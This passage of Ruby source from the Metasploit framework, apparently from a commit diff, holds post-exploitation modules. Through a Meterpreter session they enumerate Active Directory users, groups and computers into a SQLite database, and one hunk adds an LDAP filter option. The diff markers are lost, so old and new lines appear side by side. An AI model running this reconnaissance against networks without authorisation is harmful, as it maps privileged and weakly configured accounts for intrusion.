g_sAMAccountName: individual_group[3][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
g_whenChanged: individual_group[4][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
g_whenCreated: individual_group[5][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
g_description: individual_group[6][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
g_groupType: grouptype_int,
g_adminCount: individual_group[8][:value].to_i,
g_comment: individual_group[9][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
g_managedBy: individual_group[10][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
g_cn: individual_group[11][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
# Specifies a group that is created by the system.
g_GT_GROUP_CREATED_BY_SYSTEM: (grouptype_int & 0x00000001).zero? ? 0 : 1,
# Specifies a group with global scope.
g_GT_GROUP_SCOPE_GLOBAL: (grouptype_int & 0x00000002).zero? ? 0 : 1,
# Specifies a group with local scope.
g_GT_GROUP_SCOPE_LOCAL: (grouptype_int & 0x00000004).zero? ? 0 : 1,
# Specifies a group with universal scope.
g_GT_GROUP_SCOPE_UNIVERSAL: (grouptype_int & 0x00000008).zero? ? 0 : 1,
# Specifies an APP_BASIC group for Windows Server Authorization Manager.
g_GT_GROUP_SAM_APP_BASIC: (grouptype_int & 0x00000010).zero? ? 0 : 1,
# Specifies an APP_QUERY group for Windows Server Authorization Manager.
g_GT_GROUP_SAM_APP_QUERY: (grouptype_int & 0x00000020).zero? ? 0 : 1,
# Specifies a security group. If this flag is not set, then the group is a distribution group.
g_GT_GROUP_SECURITY: (grouptype_int & 0x80000000).zero? ? 0 : 1,
# The inverse of the flag above. Technically GT_GROUP_SECURITY=0 makes it a distribution
# group so this is arguably redundant, but I have included it for ease. It makes a lot more sense
# to set DISTRIBUTION=1 in a query when your mind is on other things to remember that
# DISTRIBUTION is in fact the inverse of SECURITY...:)
g_GT_GROUP_DISTRIBUTION: (grouptype_int & 0x80000000).zero? ? 1 : 0,
# Now add sAMAccountType constants
g_SAM_DOMAIN_OBJECT: (sat_int == 0) ? 1 : 0,
g_SAM_GROUP_OBJECT: (sat_int == 0x10000000) ? 1 : 0,
g_SAM_NON_SECURITY_GROUP_OBJECT: (sat_int == 0x10000001) ? 1 : 0,
g_SAM_ALIAS_OBJECT: (sat_int == 0x20000000) ? 1 : 0,
g_SAM_NON_SECURITY_ALIAS_OBJECT: (sat_int == 0x20000001) ? 1 : 0,
g_SAM_NORMAL_USER_ACCOUNT: (sat_int == 0x30000000) ? 1 : 0,
g_SAM_MACHINE_ACCOUNT: (sat_int == 0x30000001) ? 1 : 0,
g_SAM_TRUST_ACCOUNT: (sat_int == 0x30000002) ? 1 : 0,
g_SAM_APP_BASIC_GROUP: (sat_int == 0x40000000) ? 1 : 0,
g_SAM_APP_QUERY_GROUP: (sat_int == 0x40000001) ? 1 : 0,
g_SAM_ACCOUNT_TYPE_MAX: (sat_int == 0x7fffffff) ? 1 : 0
}
run_sqlite_query(db, 'ad_groups', sql_param_group)
# Go through each group user
next if users_in_group[:results].empty?
users_in_group[:results].each do |group_user|
user_rid = get_rid(group_user[1][:value]).to_i
print_line "Group [#{individual_group[3][:value]}][#{group_rid}] has member [#{group_user[3][:value]}][#{user_rid}]" if datastore['SHOW_USERGROUPS']
uac_int = group_user[7][:value].to_i # Set this because it is used so frequently below
sat_int = group_user[2][:value].to_i
# Add the group to the database
# Also parse the ADF_ flags from userAccountControl: https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832(v=vs.85).aspx
sql_param_user = { u_rid: user_rid,
u_distinguishedName: group_user[0][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
u_sAMAccountType: group_user[2][:value].to_i,
u_sAMAccountName: group_user[3][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
u_displayName: group_user[4][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
u_description: group_user[5][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
u_logonCount: group_user[6][:value].to_i,
u_userAccountControl: uac_int,
u_userPrincipalName: group_user[8][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
u_whenChanged: group_user[9][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
u_whenCreated: group_user[10][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
u_primaryGroupID: group_user[11][:value].to_i,
u_badPwdCount: group_user[12][:value].to_i,
u_comment: group_user[13][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
u_title: group_user[14][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
u_cn: group_user[15][:value].to_s.encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
# Indicates that a given object has had its ACLs changed to a more secure value by the
# system because it was a member of one of the administrative groups (directly or transitively).
u_adminCount: group_user[16][:value].to_i,
u_manager: group_user[17][:value].to_s.encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
# The login script is executed
u_ADS_UF_SCRIPT: (uac_int & 0x00000001).zero? ? 0 : 1,
# The user account is disabled.
u_ADS_UF_ACCOUNTDISABLE: (uac_int & 0x00000002).zero? ? 0 : 1,
# The home directory is required.
u_ADS_UF_HOMEDIR_REQUIRED: (uac_int & 0x00000008).zero? ? 0 : 1,
# The account is currently locked out.
u_ADS_UF_LOCKOUT: (uac_int & 0x00000010).zero? ? 0 : 1,
# No password is required.
u_ADS_UF_PASSWD_NOTREQD: (uac_int & 0x00000020).zero? ? 0 : 1,
# The user cannot change the password.
u_ADS_UF_PASSWD_CANT_CHANGE: (uac_int & 0x00000040).zero? ? 0 : 1,
# The user can send an encrypted password.
u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED: (uac_int & 0x00000080).zero? ? 0 : 1,
# This is an account for users whose primary account is in another domain. This account
# provides user access to this domain, but not to any domain that trusts this domain.
# Also known as a local user account.
u_ADS_UF_TEMP_DUPLICATE_ACCOUNT: (uac_int & 0x00000100).zero? ? 0 : 1,
# This is a default account type that represents a typical user.
u_ADS_UF_NORMAL_ACCOUNT: (uac_int & 0x00000200).zero? ? 0 : 1,
# This is a permit to trust account for a system domain that trusts other domains.
u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT: (uac_int & 0x00000800).zero? ? 0 : 1,
# This is a computer account for a computer that is a member of this domain.
u_ADS_UF_WORKSTATION_TRUST_ACCOUNT: (uac_int & 0x00001000).zero? ? 0 : 1,
# This is a computer account for a system backup domain controller that is a member of this domain.
u_ADS_UF_SERVER_TRUST_ACCOUNT: (uac_int & 0x00002000).zero? ? 0 : 1,
# The password for this account will never expire.
u_ADS_UF_DONT_EXPIRE_PASSWD: (uac_int & 0x00010000).zero? ? 0 : 1,
# This is an MNS logon account.
u_ADS_UF_MNS_LOGON_ACCOUNT: (uac_int & 0x00020000).zero? ? 0 : 1,
# The user must log on using a smart card.
u_ADS_UF_SMARTCARD_REQUIRED: (uac_int & 0x00040000).zero? ? 0 : 1,
# The service account (user or computer account), under which a service runs, is trusted for Kerberos delegation.
# Any such service can impersonate a client requesting the service.
u_ADS_UF_TRUSTED_FOR_DELEGATION: (uac_int & 0x00080000).zero? ? 0 : 1,
# The security context of the user will not be delegated to a service even if the service
# account is set as trusted for Kerberos delegation.
u_ADS_UF_NOT_DELEGATED: (uac_int & 0x00100000).zero? ? 0 : 1,
# Restrict this principal to use only Data #Encryption Standard (DES) encryption types for keys.
u_ADS_UF_USE_DES_KEY_ONLY: (uac_int & 0x00200000).zero? ? 0 : 1,
# This account does not require Kerberos pre-authentication for logon.
u_ADS_UF_DONT_REQUIRE_PREAUTH: (uac_int & 0x00400000).zero? ? 0 : 1,
# The password has expired
u_ADS_UF_PASSWORD_EXPIRED: (uac_int & 0x00800000).zero? ? 0 : 1,
# The account is enabled for delegation. This is a security-sensitive setting; accounts with
# this option enabled should be strictly controlled. This setting enables a service running
# under the account to assume a client identity and authenticate as that user to other remote
# servers on the network.
u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: (uac_int & 0x01000000).zero? ? 0 : 1,
# Now add sAMAccountType constants
u_SAM_DOMAIN_OBJECT: (sat_int == 0) ? 1 : 0,
u_SAM_GROUP_OBJECT: (sat_int == 0x10000000) ? 1 : 0,
u_SAM_NON_SECURITY_GROUP_OBJECT: (sat_int == 0x10000001) ? 1 : 0,
u_SAM_ALIAS_OBJECT: (sat_int == 0x20000000) ? 1 : 0,
u_SAM_NON_SECURITY_ALIAS_OBJECT: (sat_int == 0x20000001) ? 1 : 0,
u_SAM_NORMAL_USER_ACCOUNT: (sat_int == 0x30000000) ? 1 : 0,
u_SAM_MACHINE_ACCOUNT: (sat_int == 0x30000001) ? 1 : 0,
u_SAM_TRUST_ACCOUNT: (sat_int == 0x30000002) ? 1 : 0,
u_SAM_APP_BASIC_GROUP: (sat_int == 0x40000000) ? 1 : 0,
u_SAM_APP_QUERY_GROUP: (sat_int == 0x40000001) ? 1 : 0,
u_SAM_ACCOUNT_TYPE_MAX: (sat_int == 0x7fffffff) ? 1 : 0
}
run_sqlite_query(db, 'ad_users', sql_param_user)
# Now associate the user with the group
sql_param_mapping = { user_rid: user_rid,
group_rid: group_rid
}
run_sqlite_query(db, 'ad_mapping', sql_param_mapping)
end
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
print_error("Error(Users): #{e.message}")
next
end
end
end
group_gather.map(&:join)
end
vprint_status "Retrieving computers"
begin
computer_filter = '(objectClass=computer)'
computer_fields = ['distinguishedName', 'objectSid', 'cn', 'dNSHostName', 'sAMAccountType', 'sAMAccountName', 'displayName', 'logonCount', 'userAccountControl', 'whenChanged', 'whenCreated', 'primaryGroupID', 'badPwdCount', 'operatingSystem', 'operatingSystemServicePack', 'operatingSystemVersion', 'description', 'comment']
computers = query(computer_filter, max_search, computer_fields)
computers[:results].each do |comp|
computer_rid = get_rid(comp[1][:value]).to_i
uac_int = comp[8][:value].to_i # Set this because it is used so frequently below
sat_int = comp[4][:value].to_i
# Add the group to the database
# Also parse the ADF_ flags from userAccountControl: https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832(v=vs.85).aspx
# Note that userAccountControl is basically the same for a computer as a user; this is because a computer account is derived from a user account
# (if you look at the objectClass for a computer account, it includes 'user') and, for efficiency, we should really store it all in one
# table. However, the reality is that it will get annoying for users to have to remember to use the userAccountControl flags to work out whether
# its a user or a computer and so, for convenience and ease of use, I have put them in completely separate tables.
# Also add the sAMAccount type flags from https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637(v=vs.85).aspx
sql_param_computer = { c_rid: computer_rid,
c_distinguishedName: comp[0][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
c_cn: comp[2][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
c_dNSHostName: comp[3][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
c_sAMAccountType: sat_int,
c_sAMAccountName: comp[5][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
c_displayName: comp[6][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
c_logonCount: comp[7][:value].to_i,
c_userAccountControl: uac_int,
c_whenChanged: comp[9][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
c_whenCreated: comp[10][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
c_primaryGroupID: comp[11][:value].to_i,
c_badPwdCount: comp[12][:value].to_i,
c_operatingSystem: comp[13][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
c_operatingSystemServicePack: comp[14][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
c_operatingSystemVersion: comp[15][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
c_description: comp[16][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
c_comment: comp[17][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
# The login script is executed
c_ADS_UF_SCRIPT: (uac_int & 0x00000001).zero? ? 0 : 1,
# The user account is disabled.
c_ADS_UF_ACCOUNTDISABLE: (uac_int & 0x00000002).zero? ? 0 : 1,
# The home directory is required.
c_ADS_UF_HOMEDIR_REQUIRED: (uac_int & 0x00000008).zero? ? 0 : 1,
# The account is currently locked out.
c_ADS_UF_LOCKOUT: (uac_int & 0x00000010).zero? ? 0 : 1,
# No password is required.
c_ADS_UF_PASSWD_NOTREQD: (uac_int & 0x00000020).zero? ? 0 : 1,
# The user cannot change the password.
c_ADS_UF_PASSWD_CANT_CHANGE: (uac_int & 0x00000040).zero? ? 0 : 1,
# The user can send an encrypted password.
c_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED: (uac_int & 0x00000080).zero? ? 0 : 1,
# This is an account for users whose primary account is in another domain. This account
# provides user access to this domain, but not to any domain that trusts this domain.
# Also known as a local user account.
c_ADS_UF_TEMP_DUPLICATE_ACCOUNT: (uac_int & 0x00000100).zero? ? 0 : 1,
# This is a default account type that represents a typical user.
c_ADS_UF_NORMAL_ACCOUNT: (uac_int & 0x00000200).zero? ? 0 : 1,
# This is a permit to trust account for a system domain that trusts other domains.
c_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT: (uac_int & 0x00000800).zero? ? 0 : 1,
# This is a computer account for a computer that is a member of this domain.
c_ADS_UF_WORKSTATION_TRUST_ACCOUNT: (uac_int & 0x00001000).zero? ? 0 : 1,
# This is a computer account for a system backup domain controller that is a member of this domain.
c_ADS_UF_SERVER_TRUST_ACCOUNT: (uac_int & 0x00002000).zero? ? 0 : 1,
# The password for this account will never expire.
c_ADS_UF_DONT_EXPIRE_PASSWD: (uac_int & 0x00010000).zero? ? 0 : 1,
# This is an MNS logon account.
c_ADS_UF_MNS_LOGON_ACCOUNT: (uac_int & 0x00020000).zero? ? 0 : 1,
# The user must log on using a smart card.
c_ADS_UF_SMARTCARD_REQUIRED: (uac_int & 0x00040000).zero? ? 0 : 1,
# The service account (user or computer account), under which a service runs, is trusted for Kerberos delegation.
# Any such service can impersonate a client requesting the service.
c_ADS_UF_TRUSTED_FOR_DELEGATION: (uac_int & 0x00080000).zero? ? 0 : 1,
# The security context of the user will not be delegated to a service even if the service
# account is set as trusted for Kerberos delegation.
c_ADS_UF_NOT_DELEGATED: (uac_int & 0x00100000).zero? ? 0 : 1,
# Restrict this principal to use only Data #Encryption Standard (DES) encryption types for keys.
c_ADS_UF_USE_DES_KEY_ONLY: (uac_int & 0x00200000).zero? ? 0 : 1,
# This account does not require Kerberos pre-authentication for logon.
c_ADS_UF_DONT_REQUIRE_PREAUTH: (uac_int & 0x00400000).zero? ? 0 : 1,
# The password has expired
c_ADS_UF_PASSWORD_EXPIRED: (uac_int & 0x00800000).zero? ? 0 : 1,
# The account is enabled for delegation. This is a security-sensitive setting; accounts with
# this option enabled should be strictly controlled. This setting enables a service running
# under the account to assume a client identity and authenticate as that user to other remote
# servers on the network.
c_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: (uac_int & 0x01000000).zero? ? 0 : 1,
# Now add the sAMAccountType objects
c_SAM_DOMAIN_OBJECT: (sat_int == 0) ? 1 : 0,
c_SAM_GROUP_OBJECT: (sat_int == 0x10000000) ? 1 : 0,
c_SAM_NON_SECURITY_GROUP_OBJECT: (sat_int == 0x10000001) ? 1 : 0,
c_SAM_ALIAS_OBJECT: (sat_int == 0x20000000) ? 1 : 0,
c_SAM_NON_SECURITY_ALIAS_OBJECT: (sat_int == 0x20000001) ? 1 : 0,
c_SAM_NORMAL_USER_ACCOUNT: (sat_int == 0x30000000) ? 1 : 0,
c_SAM_MACHINE_ACCOUNT: (sat_int == 0x30000001) ? 1 : 0,
c_SAM_TRUST_ACCOUNT: (sat_int == 0x30000002) ? 1 : 0,
c_SAM_APP_BASIC_GROUP: (sat_int == 0x40000000) ? 1 : 0,
c_SAM_APP_QUERY_GROUP: (sat_int == 0x40000001) ? 1 : 0,
c_SAM_ACCOUNT_TYPE_MAX: (sat_int == 0x7fffffff) ? 1 : 0
}
run_sqlite_query(db, 'ad_computers', sql_param_computer)
print_line "Computer [#{sql_param_computer[:c_cn]}][#{sql_param_computer[:c_dNSHostName]}][#{sql_param_computer[:c_rid]}]" if datastore['SHOW_COMPUTERS']
end
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
print_error("Error(Computers): #{e.message}")
return
end
# Finished enumeration, now safely close the database
if db && db.close
f = ::File.size(dbfile.to_s)
print_status "Database closed: #{dbfile} at #{f} byte(s)"
end
end
# Run the parameterised SQL query
def run_sqlite_query(db, table_name, values)
sql_param_columns = values.keys
sql_param_bind_params = values.keys.map { |k| ":#{k}" }
db.execute("replace into #{table_name} (#{sql_param_columns.join(',')}) VALUES (#{sql_param_bind_params.join(',')})", values)
end
# Creat the SQLite Database
def create_sqlite_db
begin
obj_temp = ::Dir::Tmpname
filename = "#{obj_temp.tmpdir}/#{obj_temp.make_tmpname('ad_', 2)}.db"
db = SQLite3::Database.new(filename)
db.type_translation = true
# Create the table for the AD Computers
db.execute('DROP TABLE IF EXISTS ad_computers')
sql_table_computers = 'CREATE TABLE ad_computers ('\
'c_rid INTEGER PRIMARY KEY NOT NULL,'\
'c_distinguishedName TEXT UNIQUE NOT NULL,'\
'c_cn TEXT,'\
'c_sAMAccountType INTEGER,'\
'c_sAMAccountName TEXT UNIQUE NOT NULL,'\
'c_dNSHostName TEXT,'\
'c_displayName TEXT,'\
'c_logonCount INTEGER,'\
'c_userAccountControl INTEGER,'\
'c_primaryGroupID INTEGER,'\
'c_badPwdCount INTEGER,'\
'c_description TEXT,'\
'c_comment TEXT,'\
'c_operatingSystem TEXT,'\
'c_operatingSystemServicePack TEXT,'\
'c_operatingSystemVersion TEXT,'\
'c_whenChanged TEXT,'\
'c_whenCreated TEXT,'\
'c_ADS_UF_SCRIPT INTEGER,'\
'c_ADS_UF_ACCOUNTDISABLE INTEGER,'\
'c_ADS_UF_HOMEDIR_REQUIRED INTEGER,'\
'c_ADS_UF_LOCKOUT INTEGER,'\
'c_ADS_UF_PASSWD_NOTREQD INTEGER,'\
'c_ADS_UF_PASSWD_CANT_CHANGE INTEGER,'\
'c_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED INTEGER,'\
'c_ADS_UF_TEMP_DUPLICATE_ACCOUNT INTEGER,'\
'c_ADS_UF_NORMAL_ACCOUNT INTEGER,'\
'c_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT INTEGER,'\
'c_ADS_UF_WORKSTATION_TRUST_ACCOUNT INTEGER,'\
'c_ADS_UF_SERVER_TRUST_ACCOUNT INTEGER,'\
'c_ADS_UF_DONT_EXPIRE_PASSWD INTEGER,'\
'c_ADS_UF_MNS_LOGON_ACCOUNT INTEGER,'\
'c_ADS_UF_SMARTCARD_REQUIRED INTEGER,'\
'c_ADS_UF_TRUSTED_FOR_DELEGATION INTEGER,'\
'c_ADS_UF_NOT_DELEGATED INTEGER,'\
'c_ADS_UF_USE_DES_KEY_ONLY INTEGER,'\
'c_ADS_UF_DONT_REQUIRE_PREAUTH INTEGER,'\
'c_ADS_UF_PASSWORD_EXPIRED INTEGER,'\
'c_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION INTEGER,'\
'c_SAM_DOMAIN_OBJECT INTEGER,'\
'c_SAM_GROUP_OBJECT INTEGER,'\
'c_SAM_NON_SECURITY_GROUP_OBJECT INTEGER,'\
'c_SAM_ALIAS_OBJECT INTEGER,'\
'c_SAM_NON_SECURITY_ALIAS_OBJECT INTEGER,'\
'c_SAM_NORMAL_USER_ACCOUNT INTEGER,'\
'c_SAM_MACHINE_ACCOUNT INTEGER,'\
'c_SAM_TRUST_ACCOUNT INTEGER,'\
'c_SAM_APP_BASIC_GROUP INTEGER,'\
'c_SAM_APP_QUERY_GROUP INTEGER,'\
'c_SAM_ACCOUNT_TYPE_MAX INTEGER)'
db.execute(sql_table_computers)
# Create the table for the AD Groups
db.execute('DROP TABLE IF EXISTS ad_groups')
sql_table_group = 'CREATE TABLE ad_groups ('\
'g_rid INTEGER PRIMARY KEY NOT NULL,'\
'g_distinguishedName TEXT UNIQUE NOT NULL,'\
'g_sAMAccountType INTEGER,'\
'g_sAMAccountName TEXT UNIQUE NOT NULL,'\
'g_groupType INTEGER,'\
'g_adminCount INTEGER,'\
'g_description TEXT,'\
'g_comment TEXT,'\
'g_cn TEXT,'\
'g_managedBy TEXT,'\
'g_whenChanged TEXT,'\
'g_whenCreated TEXT,'\
'g_GT_GROUP_CREATED_BY_SYSTEM INTEGER,'\
'g_GT_GROUP_SCOPE_GLOBAL INTEGER,'\
'g_GT_GROUP_SCOPE_LOCAL INTEGER,'\
'g_GT_GROUP_SCOPE_UNIVERSAL INTEGER,'\
'g_GT_GROUP_SAM_APP_BASIC INTEGER,'\
'g_GT_GROUP_SAM_APP_QUERY INTEGER,'\
'g_GT_GROUP_SECURITY INTEGER,'\
'g_GT_GROUP_DISTRIBUTION INTEGER,'\
'g_SAM_DOMAIN_OBJECT INTEGER,'\
'g_SAM_GROUP_OBJECT INTEGER,'\
'g_SAM_NON_SECURITY_GROUP_OBJECT INTEGER,'\
'g_SAM_ALIAS_OBJECT INTEGER,'\
'g_SAM_NON_SECURITY_ALIAS_OBJECT INTEGER,'\
'g_SAM_NORMAL_USER_ACCOUNT INTEGER,'\
'g_SAM_MACHINE_ACCOUNT INTEGER,'\
'g_SAM_TRUST_ACCOUNT INTEGER,'\
'g_SAM_APP_BASIC_GROUP INTEGER,'\
'g_SAM_APP_QUERY_GROUP INTEGER,'\
'g_SAM_ACCOUNT_TYPE_MAX INTEGER)'
db.execute(sql_table_group)
# Create the table for the AD Users
db.execute('DROP TABLE IF EXISTS ad_users')
sql_table_users = 'CREATE TABLE ad_users ('\
'u_rid INTEGER PRIMARY KEY NOT NULL,'\
'u_distinguishedName TEXT UNIQUE NOT NULL,'\
'u_description TEXT,'\
'u_displayName TEXT,'\
'u_sAMAccountType INTEGER,'\
'u_sAMAccountName TEXT,'\
'u_logonCount INTEGER,'\
'u_userAccountControl INTEGER,'\
'u_primaryGroupID INTEGER,'\
'u_cn TEXT,'\
'u_adminCount INTEGER,'\
'u_badPwdCount INTEGER,'\
'u_userPrincipalName TEXT UNIQUE,'\
'u_comment TEXT,'\
'u_title TEXT,'\
'u_manager TEXT,'\
'u_whenCreated TEXT,'\
'u_whenChanged TEXT,'\
'u_ADS_UF_SCRIPT INTEGER,'\
'u_ADS_UF_ACCOUNTDISABLE INTEGER,'\
'u_ADS_UF_HOMEDIR_REQUIRED INTEGER,'\
'u_ADS_UF_LOCKOUT INTEGER,'\
'u_ADS_UF_PASSWD_NOTREQD INTEGER,'\
'u_ADS_UF_PASSWD_CANT_CHANGE INTEGER,'\
'u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED INTEGER,'\
'u_ADS_UF_TEMP_DUPLICATE_ACCOUNT INTEGER,'\
'u_ADS_UF_NORMAL_ACCOUNT INTEGER,'\
'u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT INTEGER,'\
'u_ADS_UF_WORKSTATION_TRUST_ACCOUNT INTEGER,'\
'u_ADS_UF_SERVER_TRUST_ACCOUNT INTEGER,'\
'u_ADS_UF_DONT_EXPIRE_PASSWD INTEGER,'\
'u_ADS_UF_MNS_LOGON_ACCOUNT INTEGER,'\
'u_ADS_UF_SMARTCARD_REQUIRED INTEGER,'\
'u_ADS_UF_TRUSTED_FOR_DELEGATION INTEGER,'\
'u_ADS_UF_NOT_DELEGATED INTEGER,'\
'u_ADS_UF_USE_DES_KEY_ONLY INTEGER,'\
'u_ADS_UF_DONT_REQUIRE_PREAUTH INTEGER,'\
'u_ADS_UF_PASSWORD_EXPIRED INTEGER,'\
'u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION INTEGER,'\
'u_SAM_DOMAIN_OBJECT INTEGER,'\
'u_SAM_GROUP_OBJECT INTEGER,'\
'u_SAM_NON_SECURITY_GROUP_OBJECT INTEGER,'\
'u_SAM_ALIAS_OBJECT INTEGER,'\
'u_SAM_NON_SECURITY_ALIAS_OBJECT INTEGER,'\
'u_SAM_NORMAL_USER_ACCOUNT INTEGER,'\
'u_SAM_MACHINE_ACCOUNT INTEGER,'\
'u_SAM_TRUST_ACCOUNT INTEGER,'\
'u_SAM_APP_BASIC_GROUP INTEGER,'\
'u_SAM_APP_QUERY_GROUP INTEGER,'\
'u_SAM_ACCOUNT_TYPE_MAX INTEGER)'
db.execute(sql_table_users)
# Create the table for the mapping between the two (membership)
db.execute('DROP TABLE IF EXISTS ad_mapping')
sql_table_mapping = 'CREATE TABLE ad_mapping ('\
'user_rid INTEGER NOT NULL,' \
'group_rid INTEGER NOT NULL,'\
'PRIMARY KEY (user_rid, group_rid),'\
'FOREIGN KEY(user_rid) REFERENCES ad_users(u_rid)'\
'FOREIGN KEY(group_rid) REFERENCES ad_groups(g_rid))'
db.execute(sql_table_mapping)
# Create the view for the AD User/Group membership
db.execute('DROP VIEW IF EXISTS view_mapping')
sql_view_mapping = 'CREATE VIEW view_mapping AS SELECT ad_groups.*,ad_users.* FROM ad_mapping '\
'INNER JOIN ad_groups ON ad_groups.g_rid = ad_mapping.group_rid '\
'INNER JOIN ad_users ON ad_users.u_rid = ad_mapping.user_rid'
db.execute(sql_view_mapping)
return db, filename
rescue SQLite3::Exception => e
print_error("Error(Database): #{e.message}")
return
end
end
def get_rid(data)
sid = data.unpack("bbbbbbbbV*")[8..-1]
sid[-1]
end
end

View File

@ -9,7 +9,7 @@ require 'msf/core'
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::LDAP
# include Msf::Post::Windows::Accounts
# include Msf::Post::Windows::Accounts
USER_FIELDS = ['name',
'distinguishedname',
@ -19,9 +19,9 @@ class MetasploitModule < Msf::Post
super(update_info(
info,
'Name' => 'Windows Gather Active Directory Groups',
'Description' => %{
'Description' => %(
This module will enumerate AD groups on the specified domain.
},
),
'License' => MSF_LICENSE,
'Author' => [
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'
@ -32,6 +32,7 @@ class MetasploitModule < Msf::Post
register_options([
OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]),
OptString.new('FILTER', [false, 'Customised LDAP filter', nil])
], self.class)
end
@ -39,14 +40,16 @@ class MetasploitModule < Msf::Post
@user_fields = USER_FIELDS.dup
if datastore['ADDITIONAL_FIELDS']
additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/,"").split(',')
additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/, "").split(',')
@user_fields.push(*additional_fields)
end
max_search = datastore['MAX_SEARCH']
begin
q = query('(objectClass=group)', max_search, @user_fields)
f = ""
f = "(#{datastore['FILTER']})" if datastore['FILTER']
q = query("(&(objectClass=group)#{f})", max_search, @user_fields)
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
# Can't bind or in a network w/ limited accounts
print_error(e.message)
@ -68,8 +71,6 @@ class MetasploitModule < Msf::Post
# @param [Array<Array<Hash>>] the LDAP query results to parse
# @return [Rex::Ui::Text::Table] the table containing all the result data
def parse_results(results)
domain = datastore['DOMAIN'] || get_domain
domain_ip = client.net.resolve.resolve_host(domain)[:ip]
# Results table holds raw string data
results_table = Rex::Ui::Text::Table.new(
'Header' => "Domain Groups",
@ -93,5 +94,4 @@ class MetasploitModule < Msf::Post
end
results_table
end
end

View File

@ -47,6 +47,7 @@ class MetasploitModule < Msf::Post
OptBool.new('EXCLUDE_LOCKED', [true, 'Exclude in search locked accounts..', false]),
